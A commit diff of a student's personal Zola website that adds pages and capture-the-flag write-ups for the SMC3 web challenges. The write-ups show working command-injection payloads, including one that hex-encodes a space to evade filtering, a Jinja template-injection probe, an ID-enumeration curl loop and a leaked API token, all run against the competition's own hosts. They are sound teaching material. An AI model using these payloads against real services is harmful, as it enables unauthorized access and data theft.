Update Menu, add complaining about Zola, add web chals for SMC3

parent 6bdd5260
# Welcome to my home!
If you're here for my contact info, you can
[email me here](mailto:[email protected]). If you want to reach out to me
another way, I'm most reachable on
[LinkedIn](https://www.linkedin.com/in/addison-crump-7262a6149/),
[GitHub](https://github.com/VTCAKAVSMoACE), and
[GitLab](https://gitlab.com/VTCAKAVSMoACE).
## What is this place?
This website is where I will put information about various topics that I'm
currently exploring. This could be anything, really -- just whatever I feel like
putting up here. You can see the categories of topics on the left.
## Who are you, anyways?
My name is Addison Crump. I'm a student at Texas A&M University working towards
a major in Computer Science with a minor in Cybersecurity.
Outside of academia, I have several years of experience as a programmer, a
systems administrator, a security analyst, and a pentester. More information is
available about each of these activities in their respective sections.
# Don't go here; go [here](https://addisoncrump.info/)!
\ No newline at end of file
......@@ -4,7 +4,7 @@ transparent = true
+++
Just to be clear: this is lumping together both spoken and programming
languages. Not that I expect to have that many entries about the former.
languages.
## What's in here?
......
+++
title = "Zola"
transparent = true
+++
Zola, the static site generator I use, tends to end up with some tomfoolery occurring.
In this section, you get to see my extensive pain and suffering while using this delightful tool. :)
Oh, and if you want to suffer too: go and [get zola](https://getzola.org)!
+++
title = "Shortcode Wizardry"
transparent = true
+++
Or: How I Came to Hate Template Languages Even More
### Templates in Zola
Templates in Zola are based off of Tera templates, with a couple of key differences.
For example, while writing [a post on template injection](../../../security/ctfs/smc3/wh02), I injected myself because
the [comment syntax is different](https://www.getzola.org/documentation/content/shortcodes/#shortcodes-without-body).
Stuff like this is pretty common. But I also had to rewrite the menu for my website because its definitions for what is
and what isn't a subsection are shaky at best.
I invite you to review that git commit once I've committed this one.
+++
title = "CTFs"
transparent = true
+++
I have to make this page. Do quite a few CTFs, but most of them I couldn't post write-ups for.
That changed.
### CTFs
Here lies my write-ups, or at least some of them. Don't judge me too much -- I wrote code hastily hastily and
explanations lazily.
+++
title = "SMC3"
transparent = true
+++
SMC3 was put on by the University of North Georgia and sponsored by SANS as a means to test the
capabilities of mixed-discipline ROTC students.
I am not a ROTC student -- but I'll never turn down the opportunity to compete with some military
boys.
The flyer that was sent out to us is below if you want to get a more accurate idea.
<p><iframe src="SMC3.pdf" width="100%" height="500px"></iframe></p>
Below are a list of write-ups for your viewing pleasure:
- Web
- [we01](we01)
- [we04](we04)
- [wm01](wm01)
- [wm02](wm02)
- [wm03](wm03)
- [wh01](wh01)
- [wh02](wh02)
- [wh03](wh03)
- [wx01](wx01)
- Forensics
- [fe01](fe01)
- [fe02](fe02)
- [fe03](fe03)
- [fe04](fe04)
- [fm01](fm01)
- Networking
- [ne01](ne01)
- [nm01](nm01)
- Binary Exploitation
- [be01](be01)
- [be02](be02)
- [bm01](bm01)
- [bh01](bh01)
- [bh02](bh02)
- [bh03](bh03)
- [bx01](bx01)
- Crypto
- [ce01](ce01)
- [ce02](ce02)
- [ce03](ce03)
- [ce04](ce04)
+++
title = "be01"
transparent = true
+++
+++
title = "be02"
transparent = true
+++
+++
title = "bh01"
transparent = true
+++
+++
title = "bh02"
transparent = true
+++
+++
title = "bh03"
transparent = true
+++
+++
title = "bm01"
transparent = true
+++
+++
title = "bx01"
transparent = true
+++
+++
title = "ce01"
transparent = true
+++
+++
title = "ce02"
transparent = true
+++
+++
title = "ce03"
transparent = true
+++
+++
title = "ce04"
transparent = true
+++
+++
title = "fe01"
transparent = true
+++
+++
title = "fe02"
transparent = true
+++
+++
title = "fe03"
transparent = true
+++
+++
title = "fe04"
transparent = true
+++
+++
title = "fm01"
transparent = true
+++
+++
title = "ne01"
transparent = true
+++
+++
title = "nm01"
transparent = true
+++
+++
title = "we01"
transparent = true
+++
Description:
> Access the site at https://ggcs-we01.allyourbases.co and see if you can find the flag in a common directory.
>
> Hint: Think about places you could get a list of common directories to check for.
As the hint suggests, we dirbuster that sucker:
```shell script
dirb https://ggcs-we01.allyourbases.co/ /usr/share/dirb/wordlists/small.txt -w
```
Surprise of all surprises, we find it! We are presented with a page which gives us a link to `flag.txt`:
```text
bustING_direTORies_8918
```
+++
title = "we04"
transparent = true
+++
Description:
>Visit the news site at https://ggcs-we04.allyourbases.co and see if you can find a way to access the article without subscribing.
"Breaking News: Robots gain sentience, take over world!"
Seems like fake news to me, but let's read it anyways. Inspect element finds this comment:
```html
<!--TODO: SEO is important to us, particularly Google's results are important!-->
```
[A quick Google Dork shall suffice.](https://www.google.com/search?q=allintext%3A%22Breaking+News%3A+Robots+gain+sentience%2C+take+over+world%21%22)
Blurb from Google shows: `Flag: CrawlING-So-SlOwLY-8199`
\ No newline at end of file
+++
title = "wh01"
transparent = true
+++
Description:
>Access the site at https://ggcs-wh01.allyourbases.co and find and then read the contents of the flag file to get the flag.
It's our old friend from [wm01](../wm01), but with an upgrade. No more spaces or semicolons, it would appear.
Still injectible, though -- `-al` still shows us everything, and, what ho!, there's a ~special~ folder called `...` now.
```text
total 5
drwxr-xr-x 3 root root 52 May 1 14:05 .
drwxr-xr-x 24 root root 4096 Apr 11 01:54 ..
drwxr-xr-x 2 root root 32 Apr 14 03:07 ...
-rw-r--r-- 1 root root 947 May 1 14:05 lambda_function.py
```
Let's see what's in it with `-alR`:
```text
.:
total 5
drwxr-xr-x 3 root root 52 May 1 14:05 .
drwxr-xr-x 24 root root 4096 Apr 11 01:54 ..
drwxr-xr-x 2 root root 32 Apr 14 03:07 ...
-rw-r--r-- 1 root root 947 May 1 14:05 lambda_function.py
./...:
total 1
drwxr-xr-x 2 root root 32 Apr 14 03:07 .
drwxr-xr-x 3 root root 52 May 1 14:05 ..
-rw-r--r-- 1 root root 22 Apr 14 03:04 .flag.txt
```
Interesting. Only problem is, we can't cat it without a space.
So let's just encode it, I guess (encoded text is ` .../.flag.txt` -- mind the space):
```shell script
>/dev/null&&CMD=$'\x20\x2e\x2e\x2e\x2f\x2e\x66\x6c\x61\x67\x2e\x74\x78\x74'&&cat$CMD
```
```text
SCUffeD_FiLTERing_1000
```
+++
title = "wh02"
transparent = true
+++
Description:
>Visit the site at https://ggcs-wh02.allyourbases.co and see if you can find a way to get the flag.
Rather rudely, this page tells us to go away.
Upon loading a subpage, however, it's rather kind and suggests we go look elsewhere with the following code:
```javascript
$.ajax({
type: "POST",
url: "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wh02",
contentType: 'application/json',
data: JSON.stringify({
'path': path
}),
success: function(res){
$("#content").append(res.body);
},
error: function(err){
console.log(err);
}
})
```
I almost feel sorry for abusing this endpoint. Curl time.
```shell script
curl -s "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wh02" -X POST -d '{"path": "lmao"}' | jq -r
```
```json
{
"statusCode": 200,
"body": "\n <h1>404</h1>\n <p>It appears you got lost on the way to: lmao</p>\n <p>Try again maybe?</p>\n ",
"headers": {
"Access-Control-Allow-Origin": "*"
}
}
```
Can we break it?
```shell script
curl -s "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wh02" -X POST -d '{"path": {}}' | jq -r
```
```json
{
"errorMessage": "'dict' object has no attribute 'split'",
"errorType": "AttributeError",
"stackTrace": [
" File \"/var/task/lambda_function.py\", line 19, in lambda_handler\n print(handle(event))\n",
" File \"/var/task/lambda_function.py\", line 14, in handle\n \"\"\" % (urllib.parse.unquote(event['path']))\n",
" File \"/var/lang/lib/python3.8/urllib/parse.py\", line 635, in unquote\n string.split\n"
]
}
```
Hmm, looks like it's directly inserting into a string here (note the `""" % ` string format pattern).
With luck, this is probably poor template injection. Let's find out if it's Jinja template.
```shell script
curl -s "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wh02" -X POST -d '{"path": "{{/*locals()*/}}"}' | jq -r
```
```json
{
"statusCode": 200,
"body": "\n <h1>404</h1>\n <p>It appears you got lost on the way to: {'_Context__self': <Context {'range': <class 'range'>, 'dict': <class 'dict'>, 'lipsum': <function generate_lorem_ipsum at 0x7f639649d160>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'namespace': <class 'jinja2.utils.Namespace'>, 'dir': <built-in function dir>, 'help': Type help() for interactive help, or help(object) for help about object., 'locals': <built-in function locals>, 'globals': <built-in function globals>, 'laksnd8quoqjknadaklsd9aodu892ja': 'Flag: tEmPlATes-R-FuNN-2391'} of None>, '_Context__obj': <built-in function locals>, 'args': (), 'kwargs': {}, '__traceback_hide__': True, 'fn': <method-wrapper '__call__' of builtin_function_or_method object at 0x7f63a2e5f9a0>, 'fn_type': 'environmentfunction'}</p>\n <p>Try again maybe?</p>\n ",
"headers": {
"Access-Control-Allow-Origin": "*"
}
}
```
The important bit of that being:
```text
'laksnd8quoqjknadaklsd9aodu892ja': 'Flag: tEmPlATes-R-FuNN-2391'
```
Amusingly, while writing this page, I broke my own template system for my static site generator. Go figure.
+++
title = "wh03"
transparent = true
+++
Description:
>Visit the site at https://ggcs-wh03.allyourbases.co and see if you can find a way to get the flag.
Blank page upon loading. Inspector shows the following start in the script:
```javascript
var tmp = Date.now();
debugger;
var tmp = Date.now() - tmp;
if (tmp > 100) {
window.location.reload();
}
```
Antidebugging is devil's work. Stepping through to the compare and simply setting tmp to 0 in the console fixes that.
The following nastiness can be found below:
```javascript
var a=['wqhHw6bDrMOuwqorSMO4wqTCj8KsH8KRB8K+','RmxQCHzCuw==','wp7Dn8KPwpA=','wrgbw7HDvQ==','JcKWVlHDuA==','woTDmsO7XsKbc8OE','w6fDiF8=','w6gAwr9+b0AlRMO8','woPDmsOsXcKAbA==','L8KfV1nDvsOy','PjRnwo/Cv2g=','w47DjEPDkmh5MsKPw7wLw6PDuQhf','wobDlcKGw4TCqcOwwprDpQ==','NnlZwrMmUWjDk8K2','w6NZGEExcsOcYUY1DVJVacOuwrPDixQ+wpA=','wplUw5o=','wpjDkHbDisKENwk=','wpvDkMORTsKGbcOEwpA=','wqMRw48aw5VFfsO0GVR0w5FEDTfCsg==','wogzVsKQQw==','AcOEex4=','w5bDp8KYw7k=','w73DucOlwq3Cs2dZEBU=','wr0Ew7bDtsOew5zCkC4yJsOC','wrARw6jDtMOEw5A=','w5zDrsKRw6I2','wqPCmyJ3w5o0FXXCuQ==','wp/DvgHCrUp3CUNlFMKKwonCjg==','wo3DiknCjjV7wrHCqQ==','w5LDtMOpGMO7GMOc','w68EIMOzw48=','w5bDvsOzLsO4EcOUXMOCU3PCvQrCtsKEM8K9wpJaDg==','BVxawoEKcw==','Q8O9IcOlw74=','woUgbMOow4/DlQ==','wplFw5IZw54=','w7ROF3nCgQ==','wrrDjWrDlsKcDhw=','wo0qdcOh','w6NZGEExcsOcYUY1PGllWQ==','w6o7wqNJ','w6Z2w4AlQVs=','HRDDscODw5Y=','w5jDo8Kdw6YjX2tUwosZwqR+woLCghs=','wolDw44Uw48HT8K4CFF4w5Fb','w7wiwr9OVA==','LcOEbwI=','w64INg==','w5vDssKOw6E9','wrsRw7LDlsOcw53CviM1PsOVTE0ufXpXE8KKJA==','wpfDmnbDnsKfMw==','HRQUX1k4','NcOSD2JxX2wLb8OC','w4jDo8KQw6krQA==','w4vCj8Kgwqk=','w7siwrVTUg==','LsOHbglz','woUqYcOuw4/DlDTCqg==','J8Offwt0A8Odw4bClE5NIm7DnA/DhcOMPkXDhsOWQ3B2w7/DpgbCj23CuMORwrIOIFBEwo3CvcKmUcOhw5zDtAscwrF4dsOO','wpABw4VewqDCtxo=','wrUaw6jDtsOCw7DChwsX','w6LCnyxDDgHDjcOz','WFrCksOy','wpDDlcKNwp0=','LsONNcKLTcKXwrHCll5AUw==','wpjDkHzDnA==','ZMKvQQ==','wpTDlsKGwovCvg==','A8OSGQ==','woExdsO/w4jCh3TDqywGwpw0w5oYW0QYRlA3w6Ytw4UyBMKbZMOxwoNSN2DCo3PCu8Kdwo04w70GGsKUDMKZwoUFw4DCsgRdwqwTMsOHcmLDvG4pNmHCihEkwqjDoUNB','w7fDuMOlwrvCrkNo'];(function(b,c){var f=function(g){while(--g){b['push'](b['shift']());}};f(++c);}(a,0x1e6));var b=function(c,d){c=c-0x0;var e=a[c];if(b['GAqgap']===undefined){(function(){var h=function(){var k;try{k=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(l){k=window;}return k;};var i=h();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');var m='';for(var n=0x0,o,p,q=0x0;p=l['charAt'](q++);~p&&(o=n%0x4?o*0x40+p:p,n++%0x4)?m+=String['fromCharCode'](0xff&o>>(-0x2*n&0x6)):0x0){p=j['indexOf'](p);}return m;});}());var g=function(h,l){var m=[],n=0x0,o,p='',q='';h=atob(h);for(var t=0x0,u=h['length'];t<u;t++){q+='%'+('00'+h['charCodeAt'](t)['toString'](0x10))['slice'](-0x2);}h=decodeURIComponent(q);var r;for(r=0x0;r<0x100;r++){m[r]=r;}for(r=0x0;r<0x100;r++){n=(n+m[r]+l['charCodeAt'](r%l['length']))%0x100;o=m[r];m[r]=m[n];m[n]=o;}r=0x0;n=0x0;for(var v=0x0;v<h['length'];v++){r=(r+0x1)%0x100;n=(n+m[r])%0x100;o=m[r];m[r]=m[n];m[n]=o;p+=String['fromCharCode'](h['charCodeAt'](v)^m[(m[r]+m[n])%0x100]);}return p;};b['tkRsAN']=g;b['gdnNPM']={};b['GAqgap']=!![];}var f=b['gdnNPM'][c];if(f===undefined){if(b['gzKHOK']===undefined){b['gzKHOK']=!![];}e=b['tkRsAN'](e,d);b['gdnNPM'][c]=e;}else{e=f;}return e;};function replaceAlert(){window[b('0x42','f)uD')]=null;}function replaceConsole(){window[b('0x28','i&qo')]=null;}function replaceWrite(){document[b('0x35','fAM$')]=null;}const functions=['up',b('0x31','FZHX'),b('0xd','DsJc'),'right'];const seq=['up','up',b('0x2','X&$z'),'down',b('0x41','q0R1'),b('0x2c','1uGN'),b('0x20','5t0M'),b('0x1e','jkAM')];const z=[function(){n[b('0x2f','Z]TR')][b('0x3b','5t0M')](window,[p()]);},function(){n[b('0x1b','M3ks')]['log'](p());},function(){window[b('0x44','FZHX')]=b('0x45','L][(');},function(){window[b('0x27','vrhD')]=b('0x9','FZHX');},function(){document[b('0x3c','yOrU')](b('0x3','DsJc'))[0x0][b('0x2e','zbrU')][b('0x36','5t0M')]='#'+Math[b('0x7','DsJc')](Math[b('0x40','5t0M')]()*0xffffff)[b('0x1c','y^]e')](0x10);},function(){var d='<iframe\x20width=\x22100%\x22\x20height=\x22300\x22\x20scrolling=\x22no\x22\x20frameborder=\x22no\x22\x20allow=\x22autoplay\x22\x20src=\x22https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/235505199&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true&visual=true\x22></iframe>';var e=document[b('0x37','zbrU')]('div');e[b('0x0','yOrU')]=d;document[b('0x19','UPuy')]('body')[0x0][b('0x22','yOrU')](e);}];const y=[b('0x1f','L][('),b('0x11','AbgI'),b('0x1','j&yT'),b('0x1d','zbrU'),'Maybe\x20next\x20time','So\x20close'];const x=[];const v=function(d){next=x[b('0x3e','tyX$')];if(seq[next]!==d){s();q();return;}x[b('0x33','f)uD')](d);t(d);if(x[b('0x3d','M3ks')]===seq[b('0xc','pAc#')]){u();return;}seq[next+0x1]=o();var e=b('0x17','DsJc');return;};const h=b('0x12','f)uD');const r=b('0x18','ww8(');const u=function(){for(var d in seq){if(x[d]!==seq[d]){return;}}var e='';for(var d=0x0;d<h[b('0x23','yOrU')];d++){e=e+h[d]+r[d];}var f=document[b('0x26','hQ6)')]('div');f['id']=b('0x8','iFiP');f['innerHTML']='Flag:\x20'+e;document[b('0x2a','i&qo')](b('0x39','L][('))[0x0][b('0x4','T!2)')](f);};const t=function(d){switch(d){case'up':var e='â–²';break;case b('0xe','yOrU'):var e='â–¼';break;case b('0x20','5t0M'):var e='â—„';break;case b('0x29','oiF&'):var e='â–º';break;}if('undefined'===typeof d){return;}var f=document[b('0x16','AbgI')](b('0x1a','zbrU'))[b('0x25','0^b*')]+=e;};const s=function(){x[b('0x13','y^]e')]=0x0;document[b('0x32','UPuy')](b('0x3a','oiF&'))[b('0x21','I3Lo')]='';};function q(){random=Math[b('0xf','[email protected]%5')](Math['random']()*z[b('0x14','[email protected]%5')]);z[random]();}function p(){random=Math[b('0x38','f)uD')](Math[b('0x15','ScMR')]()*y[b('0x34','EXK4')]);return y[random];}function o(){random=Math[b('0x24','5t0M')](Math[b('0x2b','ww8(')]()*functions[b('0x2d','FZHX')]);return functions[random];}for(i in functions){var key=functions[i];window[key]=new Function(b('0x6','&ASo')+key+'\x22)');}var c={};c['alert']=window[b('0x43','L][(')];c[b('0x46','*]zR')]=window[b('0xa','I3Lo')];var n=c;document[b('0xb','[email protected]')](b('0x10','y^]e'),keyPress);function keyPress(d){switch(d[b('0x5','M3ks')]){case b('0x30','M3ks'):up();break;case'ArrowDown':down();break;case'ArrowLeft':left();break;case b('0x3f','iFiP'):right();break;}}replaceAlert();replaceConsole();replaceWrite();
```
Don't worry; I saved you some trouble. A quick formatter run later and ctrl-f finds this function:
```javascript
const u = function() {
for (var d in seq) {
if (x[d] !== seq[d]) {
return;
}
}
var e = '';
for (var d = 0x0; d < h[b('0x23', 'yOrU')]; d++) {
e = e + h[d] + r[d];
}
var f = document[b('0x26', 'hQ6)')]('div');
f['id'] = b('0x8', 'iFiP');
f['innerHTML'] = 'Flag:\x20' + e;
document[b('0x2a', 'i&qo')](b('0x39', 'L][('))[0x0][b('0x4', 'T!2)')](f);
};
```
Only return-y bit here is at the start, so if we just cut that off...
```javascript
var e = '';
for (var d = 0x0; d < h[b('0x23', 'yOrU')]; d++) {
e = e + h[d] + r[d];
}
var f = document[b('0x26', 'hQ6)')]('div');
f['id'] = b('0x8', 'iFiP');
f['innerHTML'] = 'Flag:\x20' + e;
document[b('0x2a', 'i&qo')](b('0x39', 'L][('))[0x0][b('0x4', 'T!2)')](f);
```
Slap this bad boy in your console and whaddya know:
```text
Flag: rANDom_VICTORy_113
```
Not really a random victory, more of a cheesy victory in my book.
\ No newline at end of file
+++
title = "wm01"
transparent = true
+++
Description:
>Access the site at https://ggcs-wm01.allyourbases.co and find and then read the contents of the flag file to get the flag.
Upon loading, we are presented with a search box and a blurb: "Take a peek at the linux file system."
This is almost certainly command injection.
Searching for `-al` effectively confirms this for us, providing us with the results for `ls -al` in the application
directory. Interestingly enough, it has the following results:
```text
total 6
drwxr-xr-x 2 root root 58 May 1 15:39 .
drwxr-xr-x 24 root root 4096 Apr 11 01:54 ..
-rw-r--r-- 1 root root 19 Apr 9 08:15 .flag.txt
-rw-r--r-- 1 root root 551 May 1 15:39 lambda_function.py
```
Let's see if we can cat it; searching for `>/dev/null;cat .flag.txt`...
```text
unSAFE_eXecution_42
```
\ No newline at end of file
+++
title = "wm02"
transparent = true
+++
Description:
>Visit the site at https://ggcs-wm02.allyourbases.co and find a way to log into the admin user without guessing a password.
>
>Note: You can log in as a regular user with the username: `linus` and the password: `torvalds`
Logging in with these credentials, we find a cookie with the name "login", contents:
```json
{"id": 82, "data": {"username": "linus", "privilege": "user"}}
```
Hmm, interesting. The page also contains a div with a suspicious looking id:
```html
<div id="flag"></div>
```
Script in the header also has this section:
```javascript
// Display user data.
$('#body').append("You are signed in as " + JSON.parse(login).data.username + ".")
if (JSON.parse(login).data.hasOwnProperty('flag')) {
$('#flag').append("Flag: " + JSON.parse(login).data.flag)
}
```
Sketchy. This does mean that we can't just get away with modifying our cookie; we have to get the server to do that for
us.
Further up we find that the page executes the following code if the login doesn't have the data property:
```javascript
$.ajax({
type: "POST",
url: "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wm02",
contentType: 'application/json',
data: JSON.stringify({
'id': JSON.parse(login).id
}),
success: function(res){
Cookies.set("login", res.body);
login = Cookies.get('login');
$('#body').append("You are signed in as " + JSON.parse(login).data.username + ".")
if (JSON.parse(login).data.hasOwnProperty('flag')) {
$('#flag').append("Flag: " + JSON.parse(login).data.flag)
}
},
error: function(err){
console.log(err);
}
});
```
If we can guess the admin id, then we can get the flag information! Huzzah!
Quick little dirty script with jq:
```shell script
for i in {1..100}; do
echo -n "$i: "
curl -s -X POST "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wm02" -d '{"id": '"$i"'}' | jq -r .body | jq -r .data.flag
done | grep -v null
```
Boom:
```text
33: IncREMentaLl_SessIoNs-1920
```
+++
title = "wm03"
transparent = true
+++
Description:
>Visit the site at https://ggcs-wm03.allyourbases.co and investigate the API that serves the page to find a way to get the flag.
To the developer console and the network tab, we find that it's making requests shaped like this:
```shell script
curl -X POST "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wm03" -d '{"getUser": 1}'
```
Let's try not providing anything in that JSON object:
```shell script
curl -X POST "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wm03" -d '{}'
```
```json
{"statusCode": 200, "body": {"commands": ["getUser", "setUser", "getFlag", "config"]}}
```
Hello.
```shell script
curl -X POST "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wm03" -d '{"getFlag": {}}'
```
```json
{"statusCode": 200, "body": {"error": "missing api_token."}}
```
:(
What about that `config` endpoint?
```shell script
curl -X POST "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wm03" -d '{"config": {}}'
```
```json
{"statusCode": 200, "body": {"api_token": "supersecret31337apitoken"}}
```
Oops.
```shell script
curl -X POST "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wm03" -d '{"getFlag": {}, "api_token": "supersecret31337apitoken"}'
```
```json
{"statusCode": 200, "body": {"flag": "LAx_AUThEntiCaTION-:("}}